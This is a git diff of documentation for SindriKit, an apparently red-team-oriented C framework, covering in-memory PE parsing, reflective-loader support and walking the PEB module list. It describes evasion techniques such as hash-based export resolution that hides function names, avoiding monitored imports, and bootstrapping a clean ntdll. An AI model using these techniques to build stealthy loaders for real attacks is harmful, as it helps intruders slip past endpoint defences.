Configure with `SND_BUILD_TESTS=ON` and `SND_ENABLE_DEBUG=ON` (tests match stdout substrings from debug output). See [test_runner.md](../tests/test_runner.md).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Getting started: basic usage](basic_usage.md)
|
||||||
|
- [Architecture: red-team integration](../architecture/redteam_integration.md)
|
||||||
|
- [Common: CRT manifest](../common/infrastructure.md)
|
||||||
|
|||||||
+48
-5
@@ -1,9 +1,52 @@
|
|||||||
# Parsers Domain
|
# Parsers Domain
|
||||||
|
|
||||||
This directory contains strict parsing engines for interpreting complex file formats (like Portable Executables) purely in-memory.
|
In-memory interpretation of Windows file formats and runtime environment structures. Split into **PE** and **Env** subdomains mirroring `include/sindri/parsers/`.
|
||||||
|
|
||||||
|
Both are included by `sindri/parsers.h`.
|
||||||
|
|
||||||
|
> [!IMPORTANT]
|
||||||
|
> Parsers are **read-only interpreters** except where explicitly documented (e.g. `snd_pe_apply_relocations`, `snd_pe_resolve_imports` write into a caller-owned mapped image). They do not load DLLs or allocate OS resources.
|
||||||
|
|
||||||
|
## Subdomains
|
||||||
|
|
||||||
|
| Subdomain | Umbrella | Purpose |
|
||||||
|
|---|---|---|
|
||||||
|
| [pe/](pe/) | `sindri/parsers/pe.h` | PE headers, exports, imports, relocations, TLS |
|
||||||
|
| [env/](env/) | `sindri/parsers/env.h` | PEB module walking, local PEB access |
|
||||||
|
|
||||||
|
## How parsers fit the framework
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────────────────────────────┐
|
||||||
|
│ Domains (loaders, primitives) │
|
||||||
|
└──────────────┬──────────────────────┘
|
||||||
|
│
|
||||||
|
┌────────────────────┼────────────────────┐
|
||||||
|
▼ ▼ ▼
|
||||||
|
snd_pe_parse snd_pe_get_export_* snd_peb_get_module_*
|
||||||
|
│ │ │
|
||||||
|
└────────────────────┴────────────────────┘
|
||||||
|
│
|
||||||
|
Parsers (PE + Env)
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Reflective loaders** — validate, relocate, resolve imports, TLS
|
||||||
|
- **NT/syscall primitives** — resolve `Nt*` from `ntdll` without `GetProcAddress`
|
||||||
|
- **`snd_mod_nt`** — delegates PEB walk and EAT parse to env + PE parsers
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [techniques.md](techniques.md)
|
|
||||||
Covers the PE format, the `is_mapped` flag, bounds checking philosophy, export/import resolution mechanics, and base relocation patching.
|
### PE
|
||||||
- [api_reference.md](api_reference.md)
|
- [pe/README.md](pe/README.md) — overview and header map
|
||||||
Complete API documentation for `snd_pe_parse`, export/import resolution, relocations, TLS callbacks, and utility macros.
|
- [pe/techniques.md](pe/techniques.md) — format, bounds, export/import/reloc mechanics
|
||||||
|
- [pe/api_reference.md](pe/api_reference.md) — full public PE API
|
||||||
|
|
||||||
|
### Env
|
||||||
|
- [env/README.md](env/README.md) — overview and scope
|
||||||
|
- [env/techniques.md](env/techniques.md) — PEB layout, module walking
|
||||||
|
- [env/api_reference.md](env/api_reference.md) — full public env API
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Loaders domain](../domains/loaders/README.md)
|
||||||
|
- [Modules primitives](../domains/primitives/modules/README.md)
|
||||||
|
|||||||
@@ -1,232 +0,0 @@
|
|||||||
# PE Parser: API Reference
|
|
||||||
|
|
||||||
This page documents the full public API surface of the parsers subsystem. Headers live under `include/sindri/parsers/pe/`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Core Parser (`sindri/parsers/pe/pe_parser.h`)
|
|
||||||
|
|
||||||
### `snd_pe_parse`
|
|
||||||
|
|
||||||
Validates and parses a raw or mapped PE buffer into a `snd_pe_parser_t` context. Checks the DOS signature (`MZ`), the NT signature (`PE\0\0`), and the Optional Header magic (`0x10B` for PE32, `0x20B` for PE32+). Populates all fields of the output structure on success.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `buf` | `const snd_buffer_t*` | Buffer descriptor containing the PE data (pointer + size) |
|
|
||||||
| `is_mapped` | `BOOL` | `FALSE` for a raw file, `TRUE` for a memory-mapped image |
|
|
||||||
| `parser` | `snd_pe_parser_t*` | Output context to populate |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, or a parse error (`SND_STATUS_INVALID_DOS_SIGNATURE`, `SND_STATUS_INVALID_NT_SIGNATURE`, `SND_STATUS_UNSUPPORTED_OPTIONAL_HEADER_MAGIC`, etc.).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `SND_PE_GET_NT_FIELD(parser, field)`
|
|
||||||
|
|
||||||
Macro for reading a field from the NT Optional Header without branching on `is_64bit` at every call site. Selects `nt.nt64->field` or `nt.nt32->field` based on `parser->is_64bit`.
|
|
||||||
|
|
||||||
```c
|
|
||||||
DWORD size_of_image = SND_PE_GET_NT_FIELD(&ctx.pe, OptionalHeader.SizeOfImage);
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `SND_SYS_DLL_SIZE_DEFAULT`
|
|
||||||
|
|
||||||
**Value:** `0x1000` (4096 bytes)
|
|
||||||
|
|
||||||
Bootstrap bound used when parsing the headers of an in-memory system DLL before `SizeOfImage` is known. After `snd_pe_parse` succeeds, the caller must update `parser->source.size` to `SizeOfImage` before calling any directory resolution function.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_pe_parser_t`
|
|
||||||
|
|
||||||
| Field | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `source` | `snd_buffer_t` | Buffer descriptor (base pointer + tracked size) |
|
|
||||||
| `dos` | `PIMAGE_DOS_HEADER` | Pointer to the DOS header |
|
|
||||||
| `nt.nt32` | `PIMAGE_NT_HEADERS32` | NT headers pointer for 32-bit images (valid when `is_64bit == FALSE`) |
|
|
||||||
| `nt.nt64` | `PIMAGE_NT_HEADERS64` | NT headers pointer for 64-bit images (valid when `is_64bit == TRUE`) |
|
|
||||||
| `section_head` | `PIMAGE_SECTION_HEADER` | Pointer to the first section header entry |
|
|
||||||
| `string_table` | `BYTE*` | COFF string table pointer (used for long section names) |
|
|
||||||
| `is_64bit` | `BOOL` | `TRUE` for PE32+ (64-bit image) |
|
|
||||||
| `is_dll` | `BOOL` | `TRUE` if `IMAGE_FILE_DLL` is set in FileHeader.Characteristics |
|
|
||||||
| `is_mapped` | `BOOL` | `TRUE` if the source buffer is a loaded image, `FALSE` if raw file |
|
|
||||||
| `sections_count` | `DWORD` | Number of section header entries |
|
|
||||||
| `imports_rva` | `DWORD` | Cached RVA of the import data directory |
|
|
||||||
| `import_size` | `DWORD` | Cached size of the import data directory |
|
|
||||||
|
|
||||||
### `SND_PE_MIN_FILE_ALIGNMENT`
|
|
||||||
|
|
||||||
**Value:** `512`
|
|
||||||
|
|
||||||
The minimum valid file alignment factor allowed for a PE image. Used to sanity-check PE structures against malformed headers.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Utilities (`sindri/parsers/pe/pe_utils.h`)
|
|
||||||
|
|
||||||
### `snd_pe_compatibility_check`
|
|
||||||
|
|
||||||
Validates that a payload's bitness matches the host process architecture. This validation should occur before allocating memory or mapping sections.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `is_64bit` | `BOOL` | `TRUE` if the payload is 64-bit |
|
|
||||||
|
|
||||||
**Returns:** `BOOL` — `TRUE` if compatible, `FALSE` on mismatch.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_pe_get_entry_point`
|
|
||||||
|
|
||||||
Computes the absolute entry point address from `OptionalHeader.AddressOfEntryPoint` relative to the parser's source base.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `parser` | `const snd_pe_parser_t*` | Parsed PE context |
|
|
||||||
|
|
||||||
**Returns:** `void*` — absolute entry point address, or `NULL` if the RVA is zero or invalid.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_pe_get_tls_callbacks`
|
|
||||||
|
|
||||||
Retrieves the TLS callback array pointer from the TLS data directory. Returns `NULL` if no TLS directory is present.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `base_address` | `PVOID` | Base address of the mapped image |
|
|
||||||
| `parser` | `const snd_pe_parser_t*` | Parsed PE context |
|
|
||||||
|
|
||||||
**Returns:** `PVOID` — pointer to the null-terminated `PIMAGE_TLS_CALLBACK` array, or `NULL`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_pe_execute_tls_callbacks`
|
|
||||||
|
|
||||||
Iterates the TLS callback array and calls each entry with the specified reason.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `virtual_base` | `PVOID` | Base address of the mapped image |
|
|
||||||
| `parser` | `const snd_pe_parser_t*` | Parsed PE context |
|
|
||||||
| `reason` | `DWORD` | Callback reason (e.g., `DLL_PROCESS_ATTACH`, `DLL_PROCESS_DETACH`) |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success (including when no TLS directory exists).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_pe_rva_to_ptr`
|
|
||||||
|
|
||||||
Translates an RVA to an absolute pointer within the parser's tracked buffer. Performs a bounds check on `(rva, size)` before returning. For raw files (`is_mapped = FALSE`), performs section-table-based translation. For mapped images (`is_mapped = TRUE`), returns `source.base + rva` directly.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `parser` | `const snd_pe_parser_t*` | Parsed PE context |
|
|
||||||
| `rva` | `DWORD` | Relative Virtual Address to translate |
|
|
||||||
| `size` | `SIZE_T` | Expected data size at the target address (used for bounds checking) |
|
|
||||||
|
|
||||||
**Returns:** `PVOID` — pointer to the data, or `NULL` if out-of-bounds or the RVA is invalid.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_pe_get_directory`
|
|
||||||
|
|
||||||
Safely retrieves a data directory entry by index from the Optional Header's `DataDirectory` array.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `parser` | `const snd_pe_parser_t*` | Parsed PE context |
|
|
||||||
| `index` | `DWORD` | Directory index (e.g., `IMAGE_DIRECTORY_ENTRY_IMPORT`, `IMAGE_DIRECTORY_ENTRY_EXPORT`) |
|
|
||||||
| `dir_out` | `IMAGE_DATA_DIRECTORY*` | Output structure populated with `VirtualAddress` and `Size` |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_DIRECTORY_NOT_FOUND` if the directory index is out of range or the directory's `VirtualAddress` is zero.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Export Resolution (`sindri/parsers/pe/pe_exports.h`)
|
|
||||||
|
|
||||||
### `snd_pe_get_export_address`
|
|
||||||
|
|
||||||
Resolves an exported symbol by name from a mapped PE image. Handles export forwarders recursively via the `resolver` callback.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `base_address` | `PVOID` | Base address of the mapped PE image |
|
|
||||||
| `size` | `SIZE_T` | Size of the mapped PE image (for bounds checking) |
|
|
||||||
| `func_name` | `const char*` | Null-terminated export name to resolve |
|
|
||||||
| `func_addr_out` | `FARPROC*` | Receives the resolved function address |
|
|
||||||
| `resolver` | `snd_module_resolver_cb` | Callback to resolve external module bases for forwarders; pass `NULL` to fail on forwarders |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_EXPORT_NOT_FOUND` if the name is not in the export table, `SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED` if a forwarder is encountered and `resolver` is `NULL`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_pe_get_export_address_by_hash`
|
|
||||||
|
|
||||||
Hash-based variant of export resolution. Eliminates plaintext function name strings from the binary entirely.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `base_address` | `PVOID` | Base address of the mapped PE image |
|
|
||||||
| `size` | `SIZE_T` | Size of the mapped PE image |
|
|
||||||
| `func_hash` | `DWORD` | Pre-computed hash of the target export name |
|
|
||||||
| `func_addr_out` | `FARPROC*` | Receives the resolved function address |
|
|
||||||
| `resolver` | `snd_module_resolver_hash_cb` | Hash-based resolver callback for forwarder modules |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, or an export resolution error.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `SND_FWD_MAX_DEPTH`
|
|
||||||
|
|
||||||
**Value:** `4`
|
|
||||||
|
|
||||||
Maximum recursion depth for export forwarder resolution. Prevents infinite loops from cyclically forwarded exports.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Import Resolution (`sindri/parsers/pe/pe_imports.h`)
|
|
||||||
|
|
||||||
### `snd_pe_resolve_imports`
|
|
||||||
|
|
||||||
Walks the Import Descriptor table of a mapped PE and patches the IAT. For each descriptor: loads the dependency module via `mod_api->load_library`, then iterates the thunk array resolving by ordinal or name via `mod_api->get_proc_address`.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `base_address` | `PVOID` | Base address of the mapped PE image |
|
|
||||||
| `mod_api` | `const snd_module_api_t*` | Module API used for all loading and symbol resolution |
|
|
||||||
| `parser` | `const snd_pe_parser_t*` | Parsed PE context |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, or an import resolution error (`SND_STATUS_IMPORT_DLL_LOAD_FAILED`, `SND_STATUS_IMPORT_SYMBOL_RESOLVE_FAILED`, etc.).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Ordinal Detection Macros
|
|
||||||
|
|
||||||
| Macro | Description |
|
|
||||||
|---|---|
|
|
||||||
| `SND_PE_SNAP_BY_ORDINAL32(ordinal)` | `TRUE` if the high bit of a 32-bit thunk value is set (ordinal-based import) |
|
|
||||||
| `SND_PE_SNAP_BY_ORDINAL64(ordinal)` | `TRUE` if the high bit of a 64-bit thunk value is set |
|
|
||||||
| `SND_PE_ORDINAL(ordinal)` | Extracts the 16-bit ordinal value from a thunk entry |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Base Relocations (`sindri/parsers/pe/pe_relocations.h`)
|
|
||||||
|
|
||||||
### `snd_pe_apply_relocations`
|
|
||||||
|
|
||||||
Iterates the Base Relocation Table (`.reloc` section) and patches all hardcoded absolute addresses to align with the actual runtime base address. Each entry is bounds-checked before the write is applied.
|
|
||||||
|
|
||||||
The function computes `delta = actual_base - preferred_base`. If `delta` is zero (the image landed at its preferred `ImageBase`), the function returns immediately with `SND_OK`.
|
|
||||||
|
|
||||||
> [!NOTE]
|
|
||||||
> The memory at `base_address` must have at least `PAGE_READWRITE` permissions before calling this function, as it physically overwrites pointer-sized values inside `.text` and `.data` sections.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `base_address` | `PVOID` | Actual runtime base address where the PE image is mapped |
|
|
||||||
| `delta_offset` | `LONG_PTR` | Difference between actual base and preferred `ImageBase`; zero triggers early exit |
|
|
||||||
| `parser` | `const snd_pe_parser_t*` | Validated PE parser context |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, or `SND_STATUS_RELOCS_STRIPPED` if `IMAGE_FILE_RELOCS_STRIPPED` is set in the PE characteristics.
|
|
||||||
Vendored
+37
@@ -0,0 +1,37 @@
|
|||||||
|
# Env Parser
|
||||||
|
|
||||||
|
Runtime interpretation of Windows process environment structures — primarily the PEB and loader module lists. Headers under `include/sindri/parsers/env/`, aggregated by `include/sindri/parsers/env.h`.
|
||||||
|
|
||||||
|
NT layouts (`SND_PEB`, `SND_LDR_DATA_TABLE_ENTRY`, …) live in `include/sindri/internal/nt/peb.h`. The env parser uses these layouts without Win32 API calls.
|
||||||
|
|
||||||
|
## Header map
|
||||||
|
|
||||||
|
| Header | Role |
|
||||||
|
|---|---|
|
||||||
|
| `peb.h` | Local PEB access, module list walking (string and hash) |
|
||||||
|
|
||||||
|
## Source map
|
||||||
|
|
||||||
|
| Source | Implements |
|
||||||
|
|---|---|
|
||||||
|
| `src/parsers/env/peb.c` | PEB module resolution |
|
||||||
|
|
||||||
|
## Scope
|
||||||
|
|
||||||
|
| Area | Status | Notes |
|
||||||
|
|---|---|---|
|
||||||
|
| PEB module walking | **Implemented** | `snd_peb_get_module_base`, `snd_peb_get_module_base_hash` |
|
||||||
|
| Local PEB accessor | **Implemented** | `snd_peb_get_local` (segment register read) |
|
||||||
|
| TEB access | Planned | Thread Environment Block helpers |
|
||||||
|
| Process parameters | Planned | Command line, image path, environment block |
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
- [techniques.md](techniques.md) — PEB layout, module list walking, hash lookup
|
||||||
|
- [api_reference.md](api_reference.md) — full public env API
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Parsers domain](../README.md)
|
||||||
|
- [PE parser](../pe/README.md) — EAT parsing used with env resolvers
|
||||||
|
- [Internal NT layouts](../../common/api_reference.md#internal-nt-layouts-includesindriinternalnt)
|
||||||
Vendored
+110
@@ -0,0 +1,110 @@
|
|||||||
|
# Env Parser: API Reference
|
||||||
|
|
||||||
|
Public env parser API under `include/sindri/parsers/env/`. Include `sindri/parsers/env.h` or `sindri/parsers.h` for the full surface.
|
||||||
|
|
||||||
|
NT structure definitions consumed by these functions are in `include/sindri/internal/nt/peb.h`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## PEB Module Resolution (`sindri/parsers/env/peb.h`)
|
||||||
|
|
||||||
|
### `snd_peb_get_local`
|
||||||
|
|
||||||
|
Force-inline accessor for the current process PEB.
|
||||||
|
|
||||||
|
**Returns:** `PSND_PEB` — pointer to the local Process Environment Block
|
||||||
|
|
||||||
|
Supported architectures: x64, x86, ARM64. Unsupported architectures fail at compile time.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_peb_get_module_base`
|
||||||
|
|
||||||
|
Locates a loaded module by walking `InMemoryOrderModuleList` and comparing `BaseDllName`.
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t WINAPI snd_peb_get_module_base(const wchar_t *module_name, PVOID *out_base);
|
||||||
|
```
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `module_name` | Case-insensitive short name (e.g. `L"ntdll.dll"`) |
|
||||||
|
| `out_base` | Receives `DllBase` on success |
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_PEB_MODULE_NOT_FOUND`
|
||||||
|
|
||||||
|
**Source:** `src/parsers/env/peb.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_peb_get_module_base_hash`
|
||||||
|
|
||||||
|
Hash-based module lookup — no wide-string comparison at runtime.
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t WINAPI snd_peb_get_module_base_hash(DWORD module_hash, PVOID *out_base);
|
||||||
|
```
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `module_hash` | Compile-time hash from `sindri_hashes.h` (e.g. `SND_HASH_NTDLL_DLL`) |
|
||||||
|
| `out_base` | Receives `DllBase` on success |
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_PEB_MODULE_NOT_FOUND`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## NT Structures (`sindri/internal/nt/peb.h`)
|
||||||
|
|
||||||
|
These layouts are not public parser API but are referenced by env functions:
|
||||||
|
|
||||||
|
| Type | Description |
|
||||||
|
|---|---|
|
||||||
|
| `SND_PEB` | Process Environment Block |
|
||||||
|
| `SND_PEB_LDR_DATA` | Loader data with three module lists |
|
||||||
|
| `SND_LDR_DATA_TABLE_ENTRY` | Per-module entry (`DllBase`, `BaseDllName`, `FullDllName`, …) |
|
||||||
|
| `SND_RTL_USER_PROCESS_PARAMETERS` | Process parameters (command line, paths, environment) |
|
||||||
|
| `SND_UNICODE_STRING` | NT counted string |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Usage as Export Forwarder Resolver
|
||||||
|
|
||||||
|
Both export functions accept `snd_module_resolver_cb`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
typedef snd_status_t (WINAPI *snd_module_resolver_cb)(const wchar_t *module_name, PVOID *out_base);
|
||||||
|
```
|
||||||
|
|
||||||
|
`snd_peb_get_module_base` matches this signature and is the standard resolver for export forwarders:
|
||||||
|
|
||||||
|
```c
|
||||||
|
FARPROC func = NULL;
|
||||||
|
snd_status_t status = snd_pe_get_export_address_hash(
|
||||||
|
ntdll_base,
|
||||||
|
SND_SYS_DLL_SIZE_DEFAULT,
|
||||||
|
SND_HASH_NTOPENSECTION,
|
||||||
|
&func,
|
||||||
|
snd_peb_get_module_base
|
||||||
|
);
|
||||||
|
```
|
||||||
|
|
||||||
|
The hash-based export function uses the same wide-name resolver — not `snd_module_resolver_hash_cb`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Status Codes
|
||||||
|
|
||||||
|
| Code | Meaning |
|
||||||
|
|---|---|
|
||||||
|
| `SND_STATUS_PEB_MODULE_NOT_FOUND` | Module not present in the PEB loader list |
|
||||||
|
| `SND_STATUS_PEB_PROCESS_PARAMETERS_NOT_FOUND` | Reserved for future process-parameter helpers |
|
||||||
|
| `SND_STATUS_INVALID_PARAMETER` | NULL output pointer or zero hash |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Related Documentation
|
||||||
|
|
||||||
|
- [PE export resolution](../pe/api_reference.md) — `snd_pe_get_export_address`, forwarders
|
||||||
|
- [Module primitives](../../domains/primitives/modules/api_reference.md) — `snd_mod_nt` wiring
|
||||||
|
- [Dependency Injection](../../architecture/dependency_injection.md) — resolver callback types in `os_api.h`
|
||||||
Vendored
+117
@@ -0,0 +1,117 @@
|
|||||||
|
# Env Parser: Techniques
|
||||||
|
|
||||||
|
The env subdomain provides runtime introspection of Windows process environment structures without calling Win32 APIs. Today this means PEB access and module list walking; the subdomain is the designated home for future TEB and process-parameter helpers.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Why a Separate Subdomain
|
||||||
|
|
||||||
|
PE parsing interprets **file-format structures** inside a buffer (headers, directories, sections). Env parsing interprets **OS-maintained process state** in live memory (PEB, loader lists, thread blocks).
|
||||||
|
|
||||||
|
Keeping these separate reflects the code layout:
|
||||||
|
|
||||||
|
```
|
||||||
|
include/sindri/parsers/
|
||||||
|
├── pe/ ← buffer-backed PE format parsing
|
||||||
|
└── env/ ← live process environment structures
|
||||||
|
```
|
||||||
|
|
||||||
|
NT layout definitions (`SND_PEB`, `SND_LDR_DATA_TABLE_ENTRY`, etc.) live in `include/sindri/internal/nt/peb.h`. Env parsers consume these layouts; they do not duplicate Windows SDK headers to avoid pulling in monitored imports.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The Process Environment Block (PEB)
|
||||||
|
|
||||||
|
The PEB is a user-mode structure describing process-wide state. SindriKit's simplified layout (`SND_PEB`) exposes the fields relevant to module enumeration and future process-parameter access:
|
||||||
|
|
||||||
|
| Field | Purpose |
|
||||||
|
|---|---|
|
||||||
|
| `BeingDebugged` | Anti-debug checks (future env helpers) |
|
||||||
|
| `Ldr` | Pointer to loader data (`SND_PEB_LDR_DATA`) |
|
||||||
|
| `ProcessParameters` | Command line, image path, environment (future helpers) |
|
||||||
|
|
||||||
|
### Accessing the Local PEB
|
||||||
|
|
||||||
|
`snd_peb_get_local()` reads the current thread's PEB pointer from the CPU segment register:
|
||||||
|
|
||||||
|
| Architecture | Mechanism | Offset |
|
||||||
|
|---|---|---|
|
||||||
|
| x64 (Intel/AMD) | `__readgsqword` | `0x60` |
|
||||||
|
| x86 | `__readfsdword` | `0x30` |
|
||||||
|
| ARM64 | `__readx18qword` | `0x60` |
|
||||||
|
|
||||||
|
This is a force-inline in the header — no function call, no import table entry.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Module List Walking
|
||||||
|
|
||||||
|
Loaded modules are tracked in three linked lists inside `SND_PEB_LDR_DATA`:
|
||||||
|
|
||||||
|
```
|
||||||
|
InLoadOrderModuleList
|
||||||
|
InMemoryOrderModuleList ← used by SindriKit
|
||||||
|
InInitializationOrderModuleList
|
||||||
|
```
|
||||||
|
|
||||||
|
SindriKit walks **`InMemoryOrderModuleList`**, which matches the order used by most manual mapping and evasion tooling.
|
||||||
|
|
||||||
|
Each list entry is an `SND_LDR_DATA_TABLE_ENTRY` embedded in a `LIST_ENTRY`. The walker recovers the structure via the standard `CONTAINING_RECORD` offset:
|
||||||
|
|
||||||
|
```c
|
||||||
|
PSND_LDR_DATA_TABLE_ENTRY entry =
|
||||||
|
(PSND_LDR_DATA_TABLE_ENTRY)((BYTE *)list_entry - offsetof(SND_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
|
||||||
|
```
|
||||||
|
|
||||||
|
### Name Matching
|
||||||
|
|
||||||
|
Module lookup compares against `BaseDllName` (short name, e.g. `ntdll.dll`), not `FullDllName` (full path). Comparisons are case-insensitive.
|
||||||
|
|
||||||
|
**String mode** (`snd_peb_get_module_base`): exact length match + `snd_wcsnicmp`.
|
||||||
|
|
||||||
|
**Hash mode** (`snd_peb_get_module_base_hash`): copies `BaseDllName` to a stack buffer, lowercases via `snd_hash_wide_lower`, compares against the compile-time module hash from `sindri_hashes.h`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Integration with PE Export Resolution
|
||||||
|
|
||||||
|
NT and syscall primitives combine env and PE parsers in a two-step pattern:
|
||||||
|
|
||||||
|
1. **Locate `ntdll.dll`** via `snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll)`
|
||||||
|
2. **Resolve exports** via `snd_pe_get_export_address_hash(..., snd_peb_get_module_base)`
|
||||||
|
|
||||||
|
The export resolver's forwarder callback is `snd_module_resolver_cb` — the same wide-name signature as `get_module_base` on `snd_module_api_t`. Passing `snd_peb_get_module_base` wires PEB walking into export forwarder resolution without a separate hash resolver.
|
||||||
|
|
||||||
|
KnownDlls bootstrapping bypasses the PEB for the *initial* clean `ntdll` copy but subsequent forwarders still hit the PEB-resident module list.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Integration with Module Primitives
|
||||||
|
|
||||||
|
`snd_mod_nt` wires env parsers directly into the module API table:
|
||||||
|
|
||||||
|
| `snd_module_api_t` field | Implementation |
|
||||||
|
|---|---|
|
||||||
|
| `get_module_base` | `snd_peb_get_module_base` |
|
||||||
|
| `get_module_base_hash` | `snd_peb_get_module_base_hash` |
|
||||||
|
|
||||||
|
This is why module resolution docs reference `parsers/env/peb.h` rather than a removed `primitives/peb` module.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Safety Considerations
|
||||||
|
|
||||||
|
- **No locking:** The loader lists can change if another thread loads a DLL. SindriKit does not acquire the loader lock; callers should avoid concurrent loads during walks.
|
||||||
|
- **Null checks:** Both public functions validate `out_base` and return `SND_STATUS_INVALID_PARAMETER` on bad input. A missing module returns `SND_STATUS_PEB_MODULE_NOT_FOUND`.
|
||||||
|
- **Hash collisions:** Hash-based lookup assumes compile-time hashes from the project's hash manifest are collision-free for the target module set.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Future: TEB and Process Parameters
|
||||||
|
|
||||||
|
The env subdomain will expand to cover:
|
||||||
|
|
||||||
|
- **TEB** — thread-local storage, stack limits, thread ID (via segment register reads analogous to PEB)
|
||||||
|
- **Process parameters** — command line, image path, current directory, environment block via `PEB->ProcessParameters`
|
||||||
|
|
||||||
|
These will follow the same pattern: NT layouts in `internal/nt/`, public accessors in `parsers/env/`.
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
# PE Parser
|
||||||
|
|
||||||
|
In-memory Portable Executable parsing. Public headers under `include/sindri/parsers/pe/`, aggregated by `include/sindri/parsers/pe.h`.
|
||||||
|
|
||||||
|
## Header map
|
||||||
|
|
||||||
|
| Header | Role |
|
||||||
|
|---|---|
|
||||||
|
| `parser.h` | `snd_pe_parse`, `snd_pe_parser_t`, bootstrap constants |
|
||||||
|
| `utils.h` | RVA translation, data directories, entry point, TLS, architecture check |
|
||||||
|
| `exports.h` | EAT resolution (name, hash, ordinal, forwarders) |
|
||||||
|
| `imports.h` | Import descriptor walk and IAT patching |
|
||||||
|
| `relocations.h` | Base relocation application |
|
||||||
|
| `section_utils.h` | Internal section helpers (loader engine use) |
|
||||||
|
|
||||||
|
## Source map
|
||||||
|
|
||||||
|
| Source | Implements |
|
||||||
|
|---|---|
|
||||||
|
| `src/parsers/pe/parser.c` | `snd_pe_parse` |
|
||||||
|
| `src/parsers/pe/utils.c` | RVA, directories, TLS, entry point |
|
||||||
|
| `src/parsers/pe/exports.c` | Unified export resolver |
|
||||||
|
| `src/parsers/pe/imports.c` | Import resolution |
|
||||||
|
| `src/parsers/pe/relocations.c` | Relocation patching |
|
||||||
|
